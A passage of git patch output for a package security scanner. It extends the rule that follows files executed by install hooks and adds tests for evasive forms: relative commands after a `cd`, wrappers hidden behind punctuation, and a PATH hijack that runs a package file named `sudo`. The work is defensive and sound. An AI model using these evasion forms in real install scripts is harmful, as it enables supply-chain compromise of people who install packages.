t0} ms`); + const ms = performance.now() - t0; + assert.ok(ms < 1000, `took ${ms} ms`); }); test("a pipeline with no interpreter does not execute its operands", () => { From 9e0a3c5c4d4be824c66f962f634bc2f4e2fe621f Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:04:10 +0200 Subject: [PATCH 4/5] fix(core): resolve relative commands by suffix and trim wrapper punctuation - A relative path-qualified command word (`./node` after `cd bin`) is looked up with the path resolver, so the suffix lookup finds `bin/node`. The basename still plays the wrapper or interpreter role. - Punctuation is trimmed before the wrapper basename checks, so `(env node setup)` still reaches `setup`. Refs #86 --- packages/core/src/rules/install-scripts.ts | 4 ++-- packages/core/test/security-executors.test.ts | 13 ++++++++++++- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index ab1577e..577c6e2 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -265,9 +265,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c // A command word is judged by its basename (`/usr/bin/env` is `env`). A relative path that names a package file // (`./bin/env`) is that file too: it is scanned (`localCommand`) and still plays the wrapper/interpreter role. const localCommand = (w: string): PackageFile | undefined => - w.includes("/") && !w.startsWith("/") ? exact(`package/${trimPunct(w).replace(/^\.\//, "")}`) : undefined; + w.includes("/") && !/^(?:[/-]|[A-Za-z_]\w*=)/.test(w) ? resolveWord(trimPunct(w), "path") : undefined; // exact, then suffix (after a `cd`); not a flag or `VAR=value` const isPrefix = (words: string[], i: number) => - /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(words[i]!)) || (i > 0 && WRAPPERS.has(base(words[i - 1]!)) && words[i]!.startsWith("-")); + /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(trimPunct(words[i]!))) || (i > 0 && WRAPPERS.has(base(trimPunct(words[i - 1]!))) && words[i]!.startsWith("-")); const isInterpreterCommand = (simple: string): boolean => { const ws = simple.split(/\s+/).filter(Boolean).map(unquote); let k = 0; diff --git a/packages/core/test/security-executors.test.ts b/packages/core/test/security-executors.test.ts index ad2eb5d..a324758 100644 --- a/packages/core/test/security-executors.test.ts +++ b/packages/core/test/security-executors.test.ts @@ -70,10 +70,21 @@ describe("install hooks follow the files these forms execute", () => { // payload in the extension-less operand of the wrapped interpreter, benign wrapper file assert.deepEqual(sev("./bin/env node evil", { "package/bin/env": BENIGN, "package/evil": PAYLOAD }), ["critical"]); assert.deepEqual(sev("./bin/env node evil", { "package/bin/env": BENIGN, "package/evil": BENIGN }), ["low"]); - assert.deepEqual(sev("./bin/env setup", { "package/bin/env": PAYLOAD, "package/setup.js": BENIGN }), ["critical"]); assert.deepEqual(sev("./bin/node evil", { "package/bin/node": BENIGN, "package/evil": PAYLOAD }), ["critical"]); }); + test("a relative command word is found by the suffix lookup after a cd, and keeps its interpreter role", () => { + assert.deepEqual(sev("cd bin && ./node evil", { "package/bin/node": PAYLOAD, "package/evil": BENIGN }), ["critical"]); + assert.deepEqual(sev("cd bin && ./node evil", { "package/bin/node": BENIGN, "package/evil": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("cd bin && ./node evil", { "package/bin/node": BENIGN, "package/evil": BENIGN }), ["low"]); + }); + + test("leading punctuation does not hide a wrapper", () => { + assert.deepEqual(sev("(env node setup)", { "package/setup": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("(env node setup)", { "package/setup": BENIGN }), ["low"]); + assert.deepEqual(sev("(env -i node setup)", { "package/setup": PAYLOAD }), ["critical"]); + }); + test("a dotted directory entry does not hide a nested file the suffix lookup finds", () => { const dir = { "package/tools.v2/index.js": BENIGN }; assert.deepEqual(sev("cd scripts && node tools.v2", { ...dir, "package/scripts/tools.v2": PAYLOAD }), ["critical"]); From fb51a8fffc7774dc5496476de1cdc923f6ed36ae Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 14:15:02 +0200 Subject: [PATCH 5/5] fix(core): do not let root candidates hide nested or local executors - A root `setup.js`, `setup.ts` or directory entry no longer hides a nested `scripts/setup` found by the suffix lookup after a `cd`: both are followed. - A bare wrapper or interpreter name (`sudo`, `env`, `tsx`, `node`, ...) may itself be a package file, so `package/` is scanned when it exists, while the word keeps its wrapper or interpreter role. The suffix lookup stays limited to path-qualified words. Refs #86 --- packages/core/src/rules/install-scripts.ts | 21 +++++++++++-------- packages/core/test/security-executors.test.ts | 12 +++++++++++ 2 files changed, 24 insertions(+), 9 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 577c6e2..87f69c7 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -243,14 +243,12 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const nested = () => suffix(ref) ?? (dotted ? undefined : suffix(`${ref}.js`) ?? suffix(`${ref}.ts`)); // Node resolves `node setup` / `node scripts` as setup.js / scripts/
; TS runners also try setup.ts. if (!dotted) hit = exact(`package/${ref}.js`); - const dir = hit ? undefined : entry(`package/${ref}`); // a directory may have a dot in its name (`tools.v2`) - if (dir) { - const n = nested(); // over-follow: a directory entry must not hide a nested file the suffix lookup finds - if (n && n !== dir) spill.push(n); - return dir; - } + hit ??= entry(`package/${ref}`); // a directory may have a dot in its name (`tools.v2`) if (!dotted) hit ??= exact(`package/${ref}.ts`); - return hit ?? nested(); + if (!hit) return nested(); + const n = nested(); // over-follow: a root candidate must not hide a nested file the suffix lookup finds + if (n && n !== hit) spill.push(n); + return hit; }; const resolveWord = (word: string, mode: Mode): PackageFile | undefined => { const w = trimPunct(word); @@ -264,8 +262,13 @@ function makeResolver(files: PackageFile[], scripts: Record): (c }; // A command word is judged by its basename (`/usr/bin/env` is `env`). A relative path that names a package file // (`./bin/env`) is that file too: it is scanned (`localCommand`) and still plays the wrapper/interpreter role. - const localCommand = (w: string): PackageFile | undefined => - w.includes("/") && !/^(?:[/-]|[A-Za-z_]\w*=)/.test(w) ? resolveWord(trimPunct(w), "path") : undefined; // exact, then suffix (after a `cd`); not a flag or `VAR=value` + // Path-qualified: exact, then suffix (after a `cd`). Bare: only a wrapper or interpreter name, exact (`tsx` may be `package/tsx`). + const localCommand = (w: string): PackageFile | undefined => { + if (/^(?:[/-]|[A-Za-z_]\w*=)/.test(w)) return undefined; // not a flag, absolute path or `VAR=value` + const t = trimPunct(w); + if (w.includes("/")) return resolveWord(t, "path"); + return WRAPPERS.has(t) || Object.hasOwn(INLINE_FLAG, t) ? exact(`package/${t}`) : undefined; + }; const isPrefix = (words: string[], i: number) => /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(base(trimPunct(words[i]!))) || (i > 0 && WRAPPERS.has(base(trimPunct(words[i - 1]!))) && words[i]!.startsWith("-")); const isInterpreterCommand = (simple: string): boolean => { diff --git a/packages/core/test/security-executors.test.ts b/packages/core/test/security-executors.test.ts index a324758..8625edb 100644 --- a/packages/core/test/security-executors.test.ts +++ b/packages/core/test/security-executors.test.ts @@ -79,6 +79,18 @@ describe("install hooks follow the files these forms execute", () => { assert.deepEqual(sev("cd bin && ./node evil", { "package/bin/node": BENIGN, "package/evil": BENIGN }), ["low"]); }); + test("a root .ts or .js retry does not hide a nested candidate", () => { + assert.deepEqual(sev("cd scripts && sh setup", { "package/setup.ts": BENIGN, "package/scripts/setup": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("cd scripts && sh setup", { "package/setup.js": BENIGN, "package/scripts/setup": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("cd scripts && sh setup", { "package/setup.ts": BENIGN, "package/scripts/setup": BENIGN }), ["low"]); + }); + + test("a bare wrapper or interpreter name may itself be a package file", () => { + assert.deepEqual(sev("PATH=.:$PATH sudo", { "package/sudo": PAYLOAD }), ["critical"]); + assert.deepEqual(sev("tsx x", { "package/tsx": PAYLOAD, "package/x.ts": BENIGN }), ["critical"]); + assert.deepEqual(sev("tsx x", { "package/tsx": BENIGN, "package/x.ts": BENIGN }), ["low"]); + }); + test("leading punctuation does not hide a wrapper", () => { assert.deepEqual(sev("(env node setup)", { "package/setup": PAYLOAD }), ["critical"]); assert.deepEqual(sev("(env node setup)", { "package/setup": BENIGN }), ["low"]);